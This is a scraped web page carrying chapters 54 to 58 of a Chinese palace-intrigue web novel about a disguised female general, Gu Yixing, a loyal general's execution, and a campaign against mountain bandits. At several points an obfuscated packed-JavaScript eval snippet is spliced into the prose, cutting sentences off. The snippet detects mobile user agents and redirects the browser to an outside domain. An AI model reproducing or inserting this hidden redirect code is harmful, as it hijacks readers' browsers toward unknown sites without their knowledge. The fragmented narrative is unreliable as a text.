但……孤弈行方才的言语动作实在太过自然,不由得让言煜微微愣住。不知为何,他总觉得心头发痒,竟有些不是滋味。 孤弈行微微侧身,便见言煜盯着自己,那眼神倒好像自己做了什么不得了的事似的。 孤弈行勾了勾唇,不由得笑出声来:“怎么?只许你们男人拈花惹草,不许我们女人招蜂引蝶?” 言煜见她一脸洒脱的模样,虽然他的确一身清白,但此时竟也觉得有些有口难辩:“弈行……我确实没有……” 孤弈行正欲说话,此刻却有人推门而入,孤弈行见是之前与自己说过话的那位小娘子。 小娘子被孤弈行打量得脸颊微红,良久嚅嚅道:“楼主说……方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“您这么说倒是把奴家讲糊涂了,怎么会有不需要查的大案子呢?” 屏风背后传来一阵低沉的笑声。 “因为我要做的……就是听从那位的意思。他想要谁死……谁……就得……死……” 声声入耳,孤弈行眸色渐沉,一旁的言煜亦面色沉重。 若孤弈行不曾猜错,这个妖术案从头到尾就是一个局,她本以为此局的目标是自己,但今日她才明白她入局只是一个巧合,对方不过顺势而为借机试探,而对方真正的目标从始至终都是潭府。 若说今日与潭胜交谈后打算尊重他的选择做一次局外人,那她如今便只有一个念头,绝不能让如此悲剧发生。一个为国为民的忠臣良将,绝不该就这么死了! “那您明日还来吗?” “来!为何不来?还有几日……不着急!” 还有几日……孤弈行右手微微攥紧。 那也就是说,她还有机会,也还有时间给那位也看一出戏。 54. 坦白 是日夜里,潭胜正欲入眠,却瞥见窗外掠过一道黑影。 “谁!”潭胜也是行伍出身,顿生警觉,一下子坐了起来。 窗外无人应答,那道黑影也仿佛静止不动。潭胜从衣袖中取出一把匕首攥在手里,压低身面无声靠近窗边。 待走近了些,潭胜总算看清了。窗外根本没有什么人,看那影子倒像是飞鸟,不过看上去比鸽子之类的体积大些,更像是雄鹰。 潭胜眸色微沉。 传闻在江湖与朝堂之间有一情报组织无影阁,无影阁阁主鲜少露面,来去无影,而飞鹰传信,信系右爪则是无影阁特有的专心方式。只不过他素来与无影阁并无瓜葛,也许……是他多心了。 然而无论如何,他还是要一探究竟。 潭胜定了定心神,小心地推开窗户,乘着月色他看清了窗外的黑影正是一只黑棕色的雄鹰,其头部和尾部的羽毛纯白鲜亮,然而更让他惊讶的是雄鹰的右爪上系了一根白色丝带,而纸条正是被白色丝带包裹着。 飞鹰传信,信系右爪。潭胜眉心紧蹙,坚信这并非巧合。 他小心地解下白色丝带,将纸条攥在手心里,那雄鹰顿时好似得了令一般腾空而起,很快消失在他的视线之中。 潭胜关上窗,斜靠在墙壁上打开了纸条,见上面写着: 情况有变,明日西门街锦字衣肆,诚邀将军一见。 但当潭胜看到落款之时,眸色逐渐暗了下去。他生怕自己看花了眼,揉了揉眼睛再一看,依旧是清晰的“言煜”二字。 无影阁阁主……言煜…… 这看似毫无关系的两个人,竟是同一个人!更令潭胜意想不到的是,言煜竟然向自己主动坦白身份,要知晓当朝天子早就有将无影阁为己所用之心,若是他将言煜就是无影阁阁主的消息透露出去,纵然他是天子面前的红人,也将万劫不复! 潭胜深知,言煜敢如此铤而走险是早已完全信任自己。但……他信中所言情况有变,又是指什么呢…… 潭胜微微敛眸,点燃了窗边的一处油灯,将纸条放在灯芯的火焰边上,纸条逐渐被火焰侵蚀,直到化为灰烬。 次日,潭胜只带了一个贴身侍卫走出潭府,往西门街而去。 一路上,潭胜明显感觉到后面有尾巴跟着自己,时近时远总是甩不掉。潭胜自嘲地勾了勾唇,继续向前走去。 西门街的锦字衣肆潭胜从前是去过的,今日衣肆内依旧人头攒动。潭胜刚进衣肆没多久,就有一个年轻的伙计朝自己这处走来。 “大人一看就气度非凡,今日我们这儿正好新到了几件长袍,不如我去拿来给大人试试?”伙计笑着道。 大人……潭胜打量了面前的伙计一下。他分明不曾表露身份,对方如何得知他有官职在身?莫非……是安排好的。 潭胜笑着点了点头:“好,拿来给我试试。” “得嘞!” 伙计拿着一叠衣裳,带着潭胜来到了一处屏风后的隔间,潭胜却发现隔间内藏着一个人,而后伙计便领着潭胜从隔间后的暗门到了一处院子,潭胜远远听见隔间内传来窸窸窣窣的换衣服的声音,还有自己说话的声音。 潭胜不禁感叹声音模仿得如此相似,几乎可以以假乱真,倒着实是个人才。 但他也知时间紧急,便不再耽搁,在伙计的带领下进入了东侧的厢房。 厢房内坐着一男一女,似乎已经在此等候多时。 “言大人,靖宁将军,不知今日约潭某来此所为何事?” “潭将军请坐。”孤弈行微微勾唇,朱唇微启,“洛川昨日与潭将军一见如故,本有意成全潭将军,但洛川却实在不忍潭将军的忠心被错付。” 潭胜不成想对方如此开门见山,愣了一下:“靖宁将军何出此言?” 孤弈行将昨日自己在散花楼从蒋闻年口中听到的话全盘托出,潭胜脸色顿时暗了下去,右手微微攥紧。 “到了如今,潭将军还打算为他守忠吗?”孤弈行见潭胜欲言又止,继续道,“潭将军心中有大义,更心怀天下百姓,甚至有为其收复嘉南关和玉临关之心,可那位呢?他可曾给过将军机会?” 孤弈行冷笑一声:“其实我与将军都心知肚明,嘉南关和玉临关本就是他亲手送出去的。” 潭胜能感觉到对方字字句句都正中自己痛处,尤其是那一句“他亲手送出去的”。 潭胜合上眼冷笑:是啊!他一心想要收复国土,可那位天子只怕不是这么想的,毕竟说到底那位的皇位究竟是如何来的,资历老的臣子都一清二楚,只是碍于权势无一人敢言罢了。 “所以……靖宁将军是想劝潭某衣锦还乡?” “并非如此。”孤弈行朱唇轻抿,眼尾微微上扬,“恰恰相反,我是邀潭将军亲眼见到边关故土被收复的那一日。” 声声入耳,潭胜抬眸望着面前女子,若有所思:“莫非……将军有办法?” “办法自然有,只是要委屈潭将军先过上一段隐姓埋名的日子,只待时机成熟,我便能让将军重回军伍。” 潭胜见面前女子虽然年轻,却是气度非凡,言语之间亦是极有成算。只是他有两件事不明,一是传闻面前女子是在武延一战中一战成名,才入仕途不久,是如何做到对朝野局势如此熟悉,又将人心分析得这般透彻的呢? 其二,便是言煜对此人的态度。按理说,言煜与其相识不久,但言煜看上去却对其毫无保留,甚至愿意一力促成她的谋略,这显然有些说不通。 “将军谋略过人潭某佩服,只是潭某有事不明。”潭胜直言道。 孤弈行早就猜到潭胜的顾虑,她勾了勾唇,伸手摘下来人皮面具。面具之下,桃花眼风流,剑眉凌厉。 潭胜愣在原地,但他很快反应过来面前女子的真实身份。 纵然他从前只是军中的七品校尉,但他当年在祁国大军兵临洛阳城下之时,也曾亲眼见过那位祁国女王,就是凤希帝的真容,这般一身英气的女子,他绝不会认错! “您竟是……”潭胜激动的心情溢于言表,“原来您没死!” 不知为何,孤弈行被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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令他惊讶的是,孤弈行今日未着男装,倒是换上了一身玄色箭袖烫金齐腰长裙,长发半披半散,朱唇似点绛一般。他见惯了她穿男装的样子,如今见她换上女装英气之余更是多了几分明艳动人。 “言大人,真是巧啊。” 孤弈行和言煜随即转身,见来者正是那蒋闻年。孤弈行回想起那日在散花楼蒋闻年说话的语气不禁恶心想吐,但她还是按捺住情绪浅笑。 “这位是……”蒋闻年微微愣住,却是忍不住多看了几眼。 “在下洛川,我与蒋大人先前可是在太和殿上见过,下朝之后蒋大人还欲送我夜明珠,这些蒋大人都忘了?”孤弈行勾了勾唇,故意道。 方才没认出是因为不曾见过对方穿女装,此时蒋闻年不仅想起来了,还回忆起了当时没台阶下的窘迫,整张脸是皮笑肉不笑。 “没忘没忘,只是不成想洛将军穿起女装来竟也这般英气逼人,蒋某还有事,就先失陪了。” 55. 荔枝宴 孤弈行发觉这蒋闻年比自己原本想的还要忍不住气,勾了勾唇,玩味一笑:“蒋大人慢走。” 荔枝宴设在御花园旁的宫殿,此时时候尚早,宫里女官便引着宾客入座。 按理来说,臣子都会被安排在殿内落座饮茶,而女眷则在御花园赏花聊天,孤弈行如今虽是靖宁将军,却也是女子,便被安排在了御花园内。 起初言煜还有些不放心,迟迟不曾离开,孤弈行见他在自己身旁踱步,忍不住勾唇坏笑:“言大人是打算在这儿赖着不走了?” 言煜见孤弈行倒是一脸轻松,似是丝毫不曾料到自己所虑,便靠近她耳畔轻声道:“你一个人在这,我不放心。” 孤弈行勾了勾唇。她如何不明白言煜的心思?他是担心自己初来乍到被后宫公主嫔妃和那些世家小姐刁难,但她孤弈行又岂会是随意受气之人? 是以她与言煜对视,轻声道:“你放心便是,她们当年还是个娃娃的时候我就在沙场厮杀了,我又岂会吃她们的亏?再者,就算她们有意刁难,我也有办法应对。” 声声入耳,言煜眉头微微舒展。他凤眼深处映着面前女子的容颜,薄唇轻抿:“那你自己小心,我先走了。” 孤弈行点了点头,见言煜还有些恋恋不舍,顺手推了一下他的后背,肆意一笑:“走吧,言大人。” 言煜这才敛了目光,转身离开。 孤弈行微微侧身,却觉身后有人盯着自己。 她转过身去,见一群贵女打扮的年轻少女朝自己方向走了过来,为首的那个头戴金玉凤钗,身着胭脂织金百鸟裙,一身装束雍容华贵至极,孤弈行知这位便是喻威奉为掌上明珠的独女公主喻琬,跟在喻琬身后的想来就是各世家小姐了。 说起喻琬,孤弈行当年还是祁国女王之时曾在喻府见过这小姑娘一次,当时喻琬年纪不过十岁,却是娇蛮无礼,对下人便动辄打骂,孤弈行心生不喜,从此再没去过喻府。 如今多年未见,喻琬的模样倒是出落得楚楚动人,只是骨子里的性子只怕被养尊处优的日子养得愈发跋扈。 “你是何人?本公主怎么从未见过你?”喻琬右手撑腰,下意识地仰着头瞥了面前女子一眼。 旁边的女官欲替孤弈行说话,却被喻琬贴身侍女拦下。 “公主问的是她!何时轮得到你插嘴!”喻琬贴身侍女芸香径直挡在女官身前喝道。 孤弈行见状勾了勾唇,拱手道:“原来是公主殿下,在下靖宁将军洛川见过公主殿下!” “靖宁?”喻琬眉心微挑,又仔细打量了面前女子一番,似是有些惊讶,语气却依旧轻蔑,“原来你就是那个父皇封的女将军,那你为何不和那些臣子一道去殿内?” 言下之意就是此处不欢迎她,想下逐客令了!看来这么多年此人还真是一点未变,甚至比当年更甚。 “洛川也想不明白,只是陛下如此安排洛川不敢违抗君令,便到了此处。”孤弈行浅笑道。 喻琬愣了一下,随即绕开孤弈行向一旁凉亭而去:“既然是父皇的意思,你便照做吧。” “是。”孤弈行嘴角微噙,随后入座喝茶。 没过一会,孤弈行便听得那处传来尖锐的女声,似是生怕她听不见一般。 “郡主能歌善舞,本宫看着心里便舒坦,不像一些人看着像个大男人!” “诶!说起来靖宁将军可会舞?” 孤弈行微微侧身,见那一边贵女傲慢轻蔑的目光齐齐向自己这处望来,看上去还真是精彩。 “寻常舞自是不会。”孤弈行随即起身,唇角轻勾,“但剑舞倒是会一些,只可惜洛川的佩剑在宫门被收了,公主这儿只怕是没有称手的剑。” 孤弈行故意如此说实则为激将法,喻琬听面前野蛮之人竟说她一个公主找不出让她称手的剑岂能服气? 她随即起身走到孤弈行面前与其对视:“本公主岂会没有好剑?芸香,去取那把父皇给我的宝剑!” “是!殿下!” 孤弈行眼尾微微上扬,气势丝毫不输:“既如此,洛川就等公主殿下的宝剑了。” 没过多久,芸香便端来一把剑柄镶金的宝剑。孤弈行接过长剑拿在手里,只觉得轻飘飘的,剑柄花纹虽然奢华却是金玉其外败絮其中,妨碍了持剑的手感。 在孤弈行眼里,这把剑是公主的剑,是用来观赏的,而她的仗天则是将军的剑,是拿来杀人的,自然不可同日而语。 “怎么样?这剑可还算得上好剑?”喻琬双手叉腰,微微仰头。 孤弈行勾了勾唇,低头作打量状:“还……尚可。” “你!”喻琬听对方话里话外的意思分明是极为勉强,清丽的眸子顿时染了几分愠色,整个人眼看着就要发作,却见对方退后一步。 “殿下可得小心些,微臣在军中粗鲁惯了,舞起剑来没轻没重,小心伤着殿下。” 然而对方越这么说越激起了喻琬的执拗,她推开贴身侍女芸香伸来的手道:“本宫就站在这儿看你舞剑。” 孤弈行挑了挑眉,唇角轻勾:“既如此,臣便开始了。” 乐起舞动,孤弈行顺势挽了个剑花,长剑落入她手中仿佛被赋予了灵魂一般,不再是没有生命的死物,随她一起一落,在她身侧似蛇游走。 她则身轻如燕,舞剑招式凌厉,动作干脆利落,没有丝毫拖泥带水,令人应接不暇。长剑过处,无不掀起凉风阵阵。 不知为何,仅仅是看着喻琬都觉得有些后背发凉,微微攥紧的右手冒着丝丝冷汗。 她也曾用过这剑,只是动作总是软塌塌的不成样子,看着自也没有这般压迫之感。 想到此处,喻琬微微出神,待她回过神来却见对方持剑向自己逼来,她心中慌乱,顿时失了神,想要向后退去却觉得双脚像灌了铅一样不听使唤。 于是她眼睁睁地看着那剑离自己从五寸,到三寸,最终距离自己脖颈不过一寸之遥。 “殿下!”一旁的芸香急得叫出声来。 正当喻琬以为下一刻长剑便要刺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仅仅是她一路回京所经之地,便见幽州官兵困苦,武延力战差点失守,举朝上下外有强敌虎视眈眈,内有蛀虫动摇国本,国不国君不君,事到如今他竟还有心思在这这办荔枝宴听蒋闻年这种小人拍马,当真可笑至极! 自从他喻威染上了权利的贪婪,碰上了这皇位,她还真认不出他从前的模样。不过说来也是,或许他一开始便是如此,只是在自己面前伪装罢了。 “洛爱卿。” 孤弈行回过神来,随即起身:“臣在。” “来京都这些日子过得可还习惯?” 孤弈行抿唇一笑:“托陛下的福,挺习惯的。” 喻威眯了眯眼:“习惯就好,坐吧。” “是。”孤弈行随即落座,却见一人匆匆走入殿内在蒋闻年耳畔说了几句,蒋闻年顿时神色大变,快步走入殿中。 “陛下,臣有急事要奏,事关妖书一案,臣不敢耽搁,还望陛下赎罪!” 56. 龙颜怒 “陛下,臣有急事要奏,事关妖书一案,臣不敢耽搁,还望陛下赎罪!” 声声入耳,喻威眯了眯眼,唇边笑意陡然不见,神色庄重:“说。” “回陛下,方才手下人来报,发现怀阳大将军潭胜曾与印发妖书话本之人有密切书信往来,且有人看到二人曾在散花楼相会,并发现潭府内藏有妖书话本,眼下人证物证俱在,微臣不敢耽搁不报!”蒋闻年微微欠身,言辞激荡。 喻威拂了拂衣袖,龙目圆瞪,染上了愠色,言语之间压迫感尽显:“潭胜!你还有何话要说!” 潭胜放下手中杯盏,走到殿中,声音掷地有声:“回陛下,欲加之罪何患无辞!臣,无话可说!” “好你个潭胜!人证物证俱在,你这是在说本官污蔑于你吗?” 蒋闻年似是不成想到潭胜作此反应,忍不住与其对视道。 就在此时,喻威拍案而起:“将怀阳大将军潭胜押入大牢,听候发落!另,查封潭府,遣散下人,一众女眷男丁一并押入大牢!” “是!” 禁军入内将潭胜押走,潭胜丝毫不乱,反倒是冷冷地笑出声来。 殿下,众臣皆面面相觑,倒吸一口冷气,无一人敢出声。 “潭胜,你笑什么?”喻威见潭胜事到如今还有心思发笑,眉间戾气几乎快要压抑不住,声音更是低到了骨子里。 潭胜停下了脚步。纵然被左右两个禁军按着肩膀,他还是吃力地微微侧过身来,高昂着头,唇角流露出一丝不屑与无奈。 “回陛下,忠为罪,奸成良,这天下!这朝堂!难道不值得一笑吗?” 言罢潭胜决然转身往前走去,不再有丝毫留恋,只留下殿内的一片死寂和龙椅上喻威的暴跳如雷。 自此喻威龙颜大怒,荔枝宴上众人不欢而散,次日喻威便下旨赐潭胜狱中毒酒,其女眷家丁亦被连坐,怀阳将军府顷刻间覆灭,门可罗雀,京中再无一人敢提。 是日夜里,孤弈行本已灭了油灯欲上床休息,却被听得门外传来急促的脚步声。 “谁?”由于常年行军,孤弈行顿生警觉。 “将军,是我,琴潇。” 孤弈行舒了一口气:“进来吧,出了何事?” 琴潇眉头紧锁:“方才宫里人来报,说出了大事,天子紧急传召将军到御书房议事。” “好,我知晓了。” 事出紧急,孤弈行即刻走到将军府的马棚里牵了坐骑翻身上马,马儿穿过街巷往宫门狂奔而去。 若是放在往日,宫门早已落锁禁止任何人进出,但这一日却有禁军驻守,宫门微微敞开,加之喻威夜里急召,可见此事定然不小,让那位不得高枕而眠。孤弈行心想。 进入宫门之后,孤弈行径直往御书房而去。 “陛下,靖宁将军到了。” “让她进来。”御书房内传出喻威低沉而略显沙哑的声音。 孤弈行迈入御书房,见喻威虽着一身龙袍斜靠在软榻上,额间却有碎发微微遮目,整个人也没有平日里那么精神,似也是急急起身来此。 御书房内除了喻威以外,还立着言煜和几个武将,孤弈行留意过这几个武将都是喻威的亲信。 “诸位爱卿都是朕信任的人,今夜召诸位爱卿来此,是因为燕州刺史卢则中上书称燕州一代南风寨山匪日益猖獗,近日劫粮无数,还有不少人失踪,诸位爱卿可有人愿意率军捣毁南风寨?” 声声入耳,孤弈行见身旁几个武将皆不敢出声。 她心知肚明,此事着实算不上好差事。南风寨她也曾去过,当时是因为要查墨玉一案,此山寨地理位置优越,易守难攻,要想强攻只怕是伤敌一千自损八百,上次她便是来了个里应外合才减少了许多不必要的伤亡。 “焕卿,依你看呢?” “回陛下,依臣之见南风寨易守难攻,要想围剿非一日能成之计,不过今日来的诸位将军作战经验都十分丰富,臣相信定能替陛下分忧,全凭陛下定夺。”言煜薄唇轻抿,不紧不慢道。 “贾钊,你可有把握?” 喻威低沉的声音在御书房内回想。 回话之人是右将军贾钊,他上前一步,似是有些为难:“回陛下,臣自然愿为陛下分忧,但手下弟兄常年随臣在南方作战,燕地乃酷寒之地,只怕一时无法适应。” 眼下已入春,燕地想必也并非寸草不生,若真有心前往何惧于此,可见话虽委婉,却还是不想去之意。孤弈行勾了勾唇。 喻威素来心思重,又岂会听不出贾钊的心思,只是不想拆穿罢了。然而正当喻威反复斟酌之时,却见一人主动上前一步。 “若陛下信得过洛川,洛川愿意一试。臣从小生活在幽州,习惯了北方相对寒冷的气候,想来能适应燕地的环境。”孤弈行道。 喻威点了点头,他曾派人查过洛川底细,的确是从小在幽州长大,如此思来想去,她的确是最优的人选。 喻威眼含笑意:“既然洛爱卿主动请缨,围剿南风寨的事便全权交由洛爱卿处理吧,幽州与燕地相隔不远,朕下旨许你在幽州军中调出部分精锐围剿南风寨。” “是。不过陛下,臣还有话要说。” “但说无妨。” “讲。” 孤弈行直起身来与喻威对视:“陛下可曾想过招安?” 声声入耳,喻威眸色一沉,默声不语。然则还未等喻威开口,方才说话的右将军贾钊已然忍不住冷嘲热讽了。 “洛将军,方才贾某见你主动请缨还以为你想到了什么好办法呢!”贾钊摸了摸胡茬讥诮道,“原来是动了这个心思啊!这不是糊弄圣上吗!” 孤弈行微微侧身,瞥了对方一眼,唇角轻勾:“贾将军此言差矣!不过……洛川性子直,贾将军知难而退的招数洛川倒是学不来的。” “你!”贾钊顿时被哽住。 “洛爱卿,不如细细说来。” 喻威发了话,贾钊顿时敢怒而不敢言,只能恶狠狠地盯着洛川说不出话来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“日后之事谁说得准呢?诸位啊放心便是,洛某还有事,先行告辞。”孤弈行笑了笑,言罢挥了挥手转身离去。 她生平最讨厌应酬,比起此刻尔虞我诈,人人揣着一百个心眼子的京都,她宁愿去那边远之地。那里,才会是她的天地。 次日一早,孤弈行便收拾好行囊准备离京,却不成想会在将军府门口遇见言煜。 她以为言煜是来为自己送行的,却发觉言煜与飞鸢各牵着一匹好马,竟也似有离京的打算。 孤弈行顿时回想起昨日喻威曾让言煜单独留下,如今想来倒像是有事让他离京去办。 “他让你离京办何事?”孤弈行挑了挑眉。 言煜薄唇轻抿:“靖州近来干旱,我奉命前往探查,正好与你同行一道。” 孤弈行点了点头,随即低声道:“我已传信沈离松让他照顾潭将军一家,他素来做事稳妥,想来无事。” 言煜勾唇浅笑:“时候不早了,走吧。” 57. 重聚 三日后,二人顺道先到了靖州,而后孤弈行与言煜告别往幽州而去。 军务在身,孤弈行不曾耽搁,与琴潇日夜不停地赶往幽州,终于在两日后抵达幽州,而后孤弈行便与琴潇一道直奔幽州军营。 然而还未进幽州军营,孤弈行便远远望见一个熟悉的身影。 依旧是熟悉的征兵处,依旧只摆放着一张方桌,只是前来报名登记的人相比她初来幽州之时倒是多了不少。她勾了勾唇,径直走了过去。 负责征兵的糙汉子见有人在他眼皮子底下插队,声音粗犷:“到后面排队!” 孤弈行见对方如此反应,差点没忍住笑出声来:“胡郡尉,我也要登记吗?” 胡永刚显然愣了一下,随即猛然抬头,眼神又惊又喜:“洛川!怎么是你?陛下不是封你为靖宁将军召你入京了吗?怎么回来了?” “说来话长,边走边说。”孤弈行抿唇浅笑,“老胡你还说我,你如今也是郡尉,怎么还和从前一样自己亲自干这活?” 胡永刚笑了笑,吩咐了一个小兵几句,便与孤弈行并肩而行:“习惯了,再说新兵也是一个军队的重中之重,马虎不得。” 孤弈行点了点头,朱唇微启:“我这次回来,其实是有任务在身。” 胡永刚神色顿时严肃:“什么任务?” “燕州一代南风寨山匪日益猖獗,近日劫粮无数,还有不少人失踪,陛下命我从幽州军中调出一部分精锐前往南风寨招安。” “原来如此。”胡永刚下意识地摸了摸胡茬,“那不如就调第三营前往,老鲍现在是第三营营长,小默,陆耳,阿四,二牛他们几个也在,你调遣起来也熟悉些。” 孤弈行勾了勾唇:“如此最好。” “何时启程?” “越快越好,我去一趟营地便启程。”孤弈行与胡永刚对视,眉眼坚毅。 “好。” 二人说话的功夫就走入了第三营营地,此时刚至午时,士兵们结束了上午的训练排队吃饭,孤弈行一眼认出了鲍大海和小默他们,径直走了过去。 “洛洛洛……姐姐!” 小默眼睛尖,一眼就认出了孤弈行,激动得站了起来。旁边的鲍大海等人顺着小默的目光望去,也都很是激动。 孤弈行拉着小默坐下,将南风寨一事和盘托出。而后孤弈行抿了抿唇,似是有些为难:“虽说是招安,但南风寨据燕州多年想来不会这么轻易答应招安,此行势必危险重重。” “咱们都是出生入死的交情了!洛将军你就说吧,什么时候动身,弟兄们保证没有二话!”鲍大海道。 “对啊要是没有你洛将军我阿四只怕在武延一战中就死了,哪儿还有现在的日子!我们不怕危险,我们都跟着你!”一旁的阿四附和道。 声声入耳,孤弈行心头一阵泛酸。 有那么一瞬间,她的记忆好像回到了武延城外的青川峡谷。 那个时候,纵然身处险境,她身后还是有人跟随她,拼死为她杀出一线生机,可终究是因为她一时疏忽错信小人,亲手把他们弄丢了。 但这一次……她绝不会让相同的事情再次发生。孤弈行右手不自觉微微攥紧。 “洛洛……姐姐,你你怎么了?”小默察觉到她神色有异,眼神关切。 孤弈行思绪回笼,怅然一笑:“没什么,前路情况未知,一个时辰后便启程吧。” “好!我一会便吩咐下去!”鲍大海应道,“将军日夜赶路还没用饭吧,我让阿四去盛些饭来。” 不说孤弈行还没想到,此刻鲍大海一提,再加上闻着满桌的饭菜香孤弈行才反应过来腹中空空,连带着身体也有些使不上劲。是以孤弈行也不客气,笑道:“好。” “洛将军,京城是不是有很多好吃的?”熊二牛一边嚼着碗里的饭菜一边一脸憧憬道。 孤弈行勾了勾唇:“是有很多好吃的……不过我还是更喜欢这儿。” “为啥?”熊二牛挠了挠头。 “因为京城虽然看上去繁华,却有太多尔虞我诈勾心斗角,我自是看不惯也觉得厌烦,倒不如幽州。这里每个人都很真诚,兄弟们也都曾并肩作战,都是一条心。” 孤弈行眼神真挚,倒把众人说得眼眶微红。 此时阿四端来了饭菜,却见众人都一副眼含泪光的模样,不明所以:“怎么了?出什么事了?” 鲍大海闻言摸了摸眼睛,岔开话题:“洛将军你都不知道,如今武延一役你拼死护城的事都在我们幽州军中传开了,现在不管是老兵还是新兵都对你崇拜得紧嘞!” 鲍大海话音未落,便觉得背后有些动静,回头一看见周围已是围了一片士兵,都想一见传说中出自幽州军的靖宁将军真容。 “干什么干什么!一个时辰后出发去燕州,一个个的饭都吃完了吗!”鲍大海道。 “回营长,都吃完了!” 士兵们齐声应道,而后又探出头来,个个的目光都落在一旁着男装的女子身上不曾移开:“营长,这位……莫非就是从我们幽州军第三营出去的靖宁将军?” 鲍大海勾了勾唇,与洛川对视一脸骄傲:“这些小子眼力见倒是不错!” 孤弈行眼尾微微上扬,站起身来,声音掷地有声:“既然兄弟们都知晓了我的身份,我洛川也不藏着掖着了!一个时辰后启程向燕州行军,此行的目的是招安南风寨,都听清楚了吗?” “听清楚了!” 一个时辰后,孤弈行率领幽州军第三营官兵向燕州日夜行军,终于在第三日清晨抵达燕州城。 由于行军疲惫,孤弈行也不急着发兵,而是先让鲍大海率领士卒先去了燕州军大营修整,自己则与琴潇走到了大街上。 琴潇看着自家主子丝毫不急心里却是有些着急,忍不住道:“小姐眼下有何打算?” “琴潇,你可知晓这一城之中消息最灵通的地方是何处?”孤弈行眉心微挑。 琴潇思索了片刻,顺着孤弈行的目光望见了一家茶摊,顿时醒悟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864950|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>茶摊摊主每日都会见到来来往往形形色色的人,自然也会从到茶摊喝口茶的人口中听到天下消息,所以他的消息自然可以算得上一城之中最灵通的。 孤弈行径直向茶摊走去,在一张空桌旁坐下:“店家,要一壶茶,一盘花生米和一盘牛肉。” “好嘞!” 这家茶摊不大,位置确实极好,处于燕州城最繁华的街巷上。茶摊里没有小二,只有摊主一人忙上忙下,此时时候尚早,茶摊便只有孤弈行和琴潇两位客人。 摊主是一位年过半旬的老人,留着灰白胡子,动作倒是麻利,是个能干的人。 没过多久,摊主便把茶,牛肉和花生米端了上来,笑着道:“两位客官慢用。” “店家,我们初来乍到对燕地不甚熟悉,不知可否与我们二人说说最近燕地有什么事儿之类的,我们也好听听。”孤弈行笑着从衣袖中逃出一颗碎银递到对方手上,浅抿了一口茶。 摊主心想此刻自己闲着也是闲着,不如就应了对方的要求也能顺便赚点钱,便笑着坐下。 “这您二位可找对人了,小老头在这土生土长,燕州的事儿还是知晓不少的,不知二位想听什么?” 孤弈行扔了两颗花生米到口中,似是随口一提:“我听说燕州附近最近不太平,是真的吗?” 摊主似是猜到对方会这么问,笑了笑道:“您是说南风寨吧?” 孤弈行不予置否。 “其实也没什么大事,每年那条道上都会有粮被劫,只是今年多了些。”摊主倒是淡定,但说到一半压低了音量,“被劫的都是官家的粮,像我们这种普通老百姓走那条道从来没出过什么事儿。” 官家的粮……这不问不知道,一问还真问出点端倪来。孤弈行勾了勾唇,低声道:“你怎么知晓被劫的是官家的粮?” 摊主的声音压得更低了些:“不瞒二位,小老儿有个邻居叫佟三,那日商队粮被劫的时候就在边上躲着,亲眼认出商队为首的那个人是个官!好像说是个……姓马的从事!” “后来呢?”孤弈行夹了两块盐水牛肉,似是吃得津津有味。 “本来小老儿我也是不信的,心想可能是那佟三看走眼了呢!但怪就怪在,那之后再没人见过那姓马的从事,我才觉得可能他真是被南风寨的人给绑上山去了!” 孤弈行微微颔首,翘起二郎腿:“原来如此,那我还听说有人失踪,这又是怎么一回事呢?” 摊主摸了摸胡子:“前两日有两个官爷来我这儿喝茶,我好像听到他们说失踪的都是干农活的老百姓,其他的我还真不知道了。” “我知晓了,多谢!”孤弈行勾了勾唇,将茶碗中的茶一饮而尽,随即起身离去。 “小姐,如果那店家说的是真的,那这事着实诡异。先不说别的,就说那那姓马的从事伪装成商队运粮食一事就很是古怪!”琴潇道。 孤弈行抽了抽嘴角:“是啊!想知道个中缘由,恐怕我们得先去会会这个燕州刺史卢则中了!” 58. 南风寨 刺史府。 “什么人擅闯刺史府!”门口的两个士卒喝道。 孤弈行勾了勾唇:“麻烦通报一声,就说靖宁将军洛川前来拜访。” 那士卒听见靖宁将军的名讳愣了一下,随后仔细打量了面前人一番,见对方身着男装,但细看之下却是英姿飒爽的女子,倒还真与传闻中的陛下亲封的那位女将军有些相符。 “你先等着,我去通报卢大人。” “有劳。” 孤弈行抿了抿唇,见士卒转身消失在视线之中。没过多久,她便见一个身着官服的中年男人迎了出来,那人长得肥头大耳,眼袋微垂,似是几夜不曾睡好。他脸上挂着憨笑,但孤弈行却不曾因其笑意感到丝毫亲近。 “这位莫非就是传闻中的靖宁将军?”卢则中仔细打量了面前女子一番,脸上始终挂着笑意。 